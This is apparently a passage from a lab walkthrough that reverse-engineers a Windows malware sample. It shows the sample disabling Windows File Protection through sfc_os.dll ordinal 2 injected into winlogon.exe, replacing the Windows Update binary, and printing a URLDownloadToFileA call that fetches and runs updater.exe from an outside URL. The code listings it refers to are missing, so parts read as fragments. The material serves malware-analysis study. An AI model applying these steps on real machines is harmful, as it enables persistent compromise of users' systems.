LoadLibraryA
at ❶ and GetProcAddress
at ❷.The malware saves the function pointer to dword_40312C
(here at ❸), dword_403128
, and dword_403124
. We’ll change the names of these global variables to make it easier to identify calls to the function later in our analysis, renaming them to myEnumProcessModules
, myGetModuleBaseNameA
, and myEnumProcesses
.
Once the malware checks the values of the function pointers, it arrives at 0x00401423 and the call myEnumProcesses
, as shown in at ❶. The goal of the code in this listing is to return an array of PIDs on the system. The start of the array is referenced by the local variable dwProcessId
shown at ❷.
dwProcessId
, which is calculated before calling sub_401000
.Str1
will contain the string "<not real>"
, and Str2
will contain "winlogon.exe"
.OpenProcess
is stored in EAX and passed to the myEnumProcessModules
function at ❷, which returns an array of handles for each module loaded into a process.GetModuleBaseNameA
. If it succeeds, Str1
will contain the string of the base name of the module for the PID passed to this subroutine; if not, it will keep the initialized value "<not real>"
.loc_4014CF
, incrementing the loop counter and rerunning the PIDLookup
function with a new PID. Otherwise, if the PID matched winlogon.exe, then the PID will be passed to the sub_401174
, as seen at ❷ in the listing.Following the SeDebugPrivilege
escalation function, we see sfc_os.dll
passed to LoadLibraryA
, as shown at ❶ in . Next, GetProcAddress
is called on the handle to sfc_os.dll and ordinal 2 (an undocumented Windows function). Ordinal 2 is pushed onto the stack at ❷. The function pointer of ordinal 2 is saved to lpStartAddress
at ❸ (the label provided by IDA Pro). The malware then calls OpenProcess
on the PID of winlogon.exe and dwDesiredAccess
of 0x1F0FFF (symbolic constant for PROCESS_ALL_ACCESS
). The handle to winlogon.exe is saved to hProcess
at ❹.
CreateRemoteThread
. Examining the arguments for CreateRemoteThread
, we see that the hProcess
parameter at ❶ is EDX, our winlogon.exe handle. The lpStartAddress
passed at ❷ is a pointer to the function at sfc_os.dll at ordinal 2 that injects a thread into winlogon.exe. (Because sfc_os.dll is already loaded inside winlogon.exe, there is no need to load the DLL within the newly created remote thread, so we don’t have a call to WriteProcessMemory
.) That thread is ordinal 2 of sfc_os.dll.GetWindowsDirectoryA
at ❶ returns a pointer to the current Windows directory (usually C:\Windows), and the malware passes this string and \system32\wupdmgr.exe
to an _snprintf
call, as shown at ❷ and ❸. This code will typically build the string "C:\Windows\system32\wupdmgr.exe"
, which will be stored in ExistingFileName
. Wupdmgr.exe is used for Windows updates under Windows XP.GetTempPathA
at ❶ gives us a pointer to the current user’s temporary directory, usually C:\Documents and Settings\<username>\Local\Temp. The temporary directory path is then passed to another _snprintf
call with the parameter \\winup.exe
, as seen at ❷ and ❸, creating the string "C:\Documents and Settings\
username
\Local\Temp\winup.exe"
, which is stored in NewFileName
.MoveFileA
function will move the Windows Update binary to the user’s temporary directory.GetModuleHandleA
at ❶, which returns a module handle for the current process. We then see a series of resources section APIs, specifically, FindResourceA
with parameters #101
and BIN
. As we guessed as a result of our earlier basic analysis, the malware is extracting its resource section to disk.URLDownloadToFileA
. This call takes some interesting parameters that deserve further inspection.Example C-96. Analyzing the extracted and launched malware
004010EF push 0 ; LPBINDSTATUSCALLBACK 004010F1 push 0 ; DWORD 004010F3 lea ecx, [ebp+Dest] ❷ 004010F9 push ecx ; LPCSTR 004010FA push offset aHttpWww_practi ❶ ; "http://www.practicalmal..." 004010FF push 0 ; LPUNKNOWN 00401101 call URLDownloadToFileA
The parameter at ❶, szURL
, is set to http://www.practicalmalwareanalysis.com/updater.exe
. At ❷, the szFileName
parameter is set to Dest
(C:\Windows\system32\wupdmgrd.exe
). The malware is doing its own updating, downloading more malware! The downloaded updater.exe file will be saved to wupdmgrd.exe.
The malware compares the return value from URLDownloadToFileA
with 0 to see if the function call failed. If the return value is not 0, the malware will execute the newly created file. The binary will then return and exit.
Our analysis of the malware in this lab has introduced a common way that malware alters Windows functionality by disabling Windows File Protection. The malware in this lab trojanized the Windows Update process and created its own malware update routine. Users with this malware on their machine would see normal functionality because the malware did not completely destroy the original Windows Update binary.